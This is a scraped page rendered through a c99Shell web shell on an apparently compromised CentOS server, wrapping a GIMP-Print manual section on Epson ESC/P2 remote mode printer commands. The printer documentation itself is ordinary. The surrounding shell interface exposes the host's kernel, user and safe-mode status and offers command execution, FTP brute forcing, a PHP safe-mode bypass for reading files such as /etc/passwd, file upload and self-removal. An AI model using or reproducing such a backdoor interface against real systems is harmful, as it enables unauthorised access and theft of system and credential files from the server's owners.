!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/gimp-print/doc/manual-html/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     gimpprint_37.html (17.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
GIMP-Print - ESC/P2 Remote Mode Commands Go to the first, previous, next, last section, table of contents.


C.3 Remote Mode Commands

The following description of remote commands comes out of an examination of the sequences used by the printer utilities bundled with the Windows drivers for the ESC740, and from other sources (some Epson manuals, experimentation, analysis of print files). It is largely speculative as these commands are not all documented in the Epson documentation we have access to. Generally, newer manuals provide more thorough documentation.

Remote command mode is entered when the printer is sent the following sequence:

ESC (R BC=8 00 R E M O T E 1

Remote mode commands are then sent, and terminated with the following sequence:

ESC 00 00 00

All remote mode commands must be sent before the initial `ESC (G' command is sent.

This introductory sequence is then followed by a sequence of commands. Each command is constructed as follows:

  • Two ASCII bytes indicating the function
  • A byte count (two bytes, little-endian) for the parameters
  • Binary parameters, if any

This is a list of all remote commands we have seen:

ESC/P2 remote command: NC BC=2 00 00
Print a nozzle check pattern

ESC/P2 remote command: VI BC=2 00 00
on my 740, prints the following:

W01286 I02382\r\n

probably "version information"

ESC/P2 remote command: * AI BC=3 00 00 00
Prints a "printer ID". On one 870, prints the following:
51-51-50-51-49-48\r\n

The Windows driver has a text entry field where this number can be entered, but its purpose is unknown.

ESC/P2 remote command: * LD BC=0
Load printer defaults from NVRAM, DIP switches, and/or ROM. This apparently does not load factory defaults per se, but any settings that are saved. This is commonly used right at the end of each print job after the `ESC @' printer reset command.

ESC/P2 remote command: * CH BC=2 00 xx
Perform a head cleaning cycle. The heads to clean are determined by parameter xx:

`00'
clean all heads
`01'
clean black head
`02'
clean color heads

While xx = `00' is probably supported by all printers, xx = `01' and `02' may well not be.

ESC/P2 remote command: * DT BC=3 00 xx 00
Print an alignment pattern. There are three patterns, which are picked via the choice of xx. Pattern `0' is coarse, pattern `1' is medium, and pattern `2' is fine.

ESC/P2 remote command: * DU BC=6 00 xx 00 09 00 yy
Print another alignment pattern. It isn't entirely clear what xx and yy are, but it appears that xx takes on the values `1' and `2' , and yy takes on the values `0' and 1. This may only work on the 580 and/or 480.

ESC/P2 remote command: * DA BC=4 00 xx 00 yy
Set results for the first alignment pattern. xx is the pattern (`1'--`3'); yy is the best choice from the set (`1'--`7' or `1'--`15'). This does not save to NVRAM, so when the printer is powered off, the setting will be lost.

ESC/P2 remote command: * DA BC=6 00 xx 00 yy 09 00
Set results for alternate alignment pattern. xx appears to be the pass, and yy appears to be the optimum pattern. This does not save to NVRAM, so when the printer is powered off, the setting will be lost.

ESC/P2 remote command: * SV BC=0
Save the current settings to NVRAM.

ESC/P2 remote command: * RS BC=1 01
Reset the printer.

ESC/P2 remote command: * IQ BC=1 01
Get ink quantity. This requires direct access to the printer port. The return looks like

IQ:KKCCMMYY

or

IQ:KKCCMMYYccmm

(for 4-color and 6-color printers respectively), where each pair of digits are hexadecimal representations of percent.

The following two commands have been observed on an STP 870.

ESC/P2 remote command: * IR BC=2 00 xx
Function unknown. This command has been observed on an STP 870 with xx=`03' at the start of a job and xx=`02' at the end of a job (where it is followed by an `LD' command). When in roll mode, the values change to xx=`01' at the start of a job and xx=`00' at the end of a job.

ESC/P2 remote command: * FP BC=3 00 xx yy
xx=`00' and yy=`00' selects the printer's normal left margin (about 3mm). xx=`0xb0' and yy=`0xff' selects zero-margin mode, where the left-most print position is shifted to a point about 0.1" to the left of the left-hand edge of the paper, allowing printing up to (and off) the left-hand edge of the paper.

The commands below are partially documented in the Stylus Pro 9000 manual. Much of this information is interpreted; none is tested.

ESC/P2 remote command: * SN BC=3 00 xx yy
Select Mechanism Sequence. xx controls which sub-operation is performed. xx=`00' selects the "Feed paper sequence setting". yy can take on the following values (on the STP 870, at any rate):

`0'
default
`1'
plain paper
`2'
postcards
`3'
film (photo quality glossy film, transparencies)
`4'
envelopes
`5'
plain paper (fast load)
`6'
back light film (although this has been observed with heavyweight matte paper)
`7'
matte paper (observed with 360 dpi inkjet paper, and photo quality inkjet paper)
`8'
photo paper

Experimentation suggests that this setting changes details of how the printers' cut sheet feeder works, presumably to tune it for different types of paper.

xx=`01' controls the platen gap setting; yy=`00' is the default, yy=`1' or `2' are higher settings.

xx=`02' controls paper loading speed (yy=`0' is normal, `1' is fast, `2' is slow). It appears that `1' is used when printing on "plain paper", "360dpi ink jet paper" or "ink jet transparencies", and yy=`00' for all other paper type settings.

xx=`07' controls duplex printing for printers with that capability (yy=0 is default, for non-duplex printing; `1' is front side of the paper, and 2 is back side).

xx=`09' controls zero margin printing on the printers with the capability of printing zero-margin on all sides (Stylus Photo 780/790, 890, and 1280/1290). yy=`0' is the default; `1' enables zero margin printing.

ESC/P2 remote command: * PP BC=3 00 xx yy
Set Paper Path. xx=`2' indicates manual feed, xx=`3' is for roll paper. yy selects "paper path number".

ESC/P2 remote command: * AC BC=2 00 xx
Set Auto Cutting State. xx=`0' selects auto cutting off, xx=`1' selects auto cutting on, and xx=`2' indicates horizontal print page line on. It appears that with auto cutting on, roll paper is cut automatically at the point a formfeed character is sent. The formfeed character is normally used to eject a page; with this turned on, it also cuts the roll paper. Horizontal print page line on prints a narrow line of black dots at the position the paper should be cut manually.

ESC/P2 remote command: * DR BC=4 00 xx DT2
Set Drying Time. xx=`00' sets the drying time "per scan" (per pass?); xx=`01' sets the drying time per page. DT indicates the drying time, which is in seconds if page mode is used and in milliseconds if scan mode is used. DT must not exceed 3600 seconds in per-page mode and 10000 milliseconds in per-scan mode.

ESC/P2 remote command: * IK BC=2 00 xx
Select Ink Type. xx=`00' selects dye ink. Pigment ink is apparently selected by xx=`01'. This probably does not apply to the consumer-grade printers.

ESC/P2 remote command: * PZ BC=2 00 xx
Set Pause After Printing. xx=`00' selects no pause after printing; xx=`01' selects pause after printing. If turned on, the printer is paused after the page is ejected (by the FF byte). If cutting is turned on, the printer is paused after the cutting or printing of the horizontal cut line.

ESC/P2 remote command: * EX BC=6 00 00 00 00 0x14 xx
Set Vertical Print Page Line Mode. xx=`00' is off, xx=`01' is on. If turned on, this prints vertical trim lines at the left and right margins.

ESC/P2 remote command: * EX BC=6 00 00 00 00 0x05 xx
Set Roll Paper Mode. If xx is `0', roll paper mode is off; if xx is `1', roll paper mode is on.

ESC/P2 remote command: * EX BC=3 00 xx yy
Appears to be a synonym for the `SN' command described above.

ESC/P2 remote command: * PH BC=2 00 xx
Select Paper Thickness. Set the paper thickness xx in .1 mm units. This must not exceed 0x10 (1.6 mm). If the thickness is set "more than" .6 mm (which probably means "at least" .6 mm, since the other case reads "less than 0.5 mm"), the platen gap is set high irrespective of the `SN' command.

ESC/P2 remote command: * PM BC=2 00 00
Function unknown. Used on the STC 3000 at least when using roll feed, and on the STP 870 in all print files analysed to date.

ESC/P2 remote command: * ST BC=2 00 xx
Epson's STP 750/1200 programming guide refers to the `ST' command as "Set printer state reply". If xx is `0' or `2', the printer will not send status replies. If xx is `1' or `3', the printer will send status replies. The status replies consist of state, error codes, ink leve, firmware version, and warning status.

The actual reply is documented as

@BDC ST\r
ST: xx;
[ER: yy;]
IQ: n1n2n3n4;
[WR: w1,w2...;]
RV: zz;
AI:CW:02kkccmmyy, MI:mm
[TC:tttt;]
INK:...;
\f

(`\r' is carriage return; `\n' is newline; `\f' is formfeed.)

`ST' is the printer status:

`00'
Error
`01'
Self-test
`02'
Busy
`03'
Waiting while printing
`04'
Idle
`07'
Cleaning/filling ink heads
`08'
Not yet initialized/filling heads

`ER', if provided, is the error status:

`00'
Fatal error
`01'
Interface not selected
`04'
Paper jam
`05'
Out of ink
`06'
Paper out

`IQ' is the amount of ink left, as a (decimal!) percentage expressed in hexadecimal. The values are black, cyan, magenta, and yellow (presumably 6-color printers supply light cyan and light magenta inks as additional parameters).

`WR', if provided, is the warning status:

`10'
Black ink low
`11'
Cyan
`12'
Magenta
`13'
Yellow
`14'
Light cyan (presumably)
`15'
Light magenta (presumably)

`RV' is the firmware revision (one byte ASCII).

`AI' is actuator information. These are two byte ASCII codes that indicate "ink weight rank ID" of KCMY, respectively.

`TC', if provided, is the total time of cleaning or ink filling (?).

`INK:' and `MI' are not documented.

ESC/P2 remote command: * SM BC=2 00 xx
Set Status Reply Rate. xx is the repeat interval in seconds. If xx is `0', the status is returned only when the printer's state changes.

ESC/P2 remote command: * ST BC=1 01
Reply Printer Status. The reply is formatted as

@BDC PS\r\nST:xx;\f

(`\r' is carriage return; `\n' is newline; `\f' is formfeed). If xx (the reply value) is `0' or `2', automatic status update is disabled; if `1' or `3', it is enabled.

ESC/P2 remote command: * SM BC=1 01
Reply Printer Status Rate. The reply is formatted as

@BDC PS\r\nST:xx;\f

(`\r' is carriage return; `\n' is newline; `\f' is formfeed). See `SM BC=2' above for the meaning of the return value.

ESC/P2 remote command: * ?? BC=xx y[1] ... y[xx]
Echo Parameters (perhaps better described as Echo Commands). The command string is executed (it would appear from the documentation), and the string sent is returned using a sequence similar to that described in the `ST BC=1' and `SM BC=1' commands. Note that in this case the number of bytes is variable!

ESC/P2 remote command: * SM BC=2 00 02
Function unknown. Used on the STC 3000 at least when using roll feed.


Go to the first, previous, next, last section, table of contents.


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0118 ]--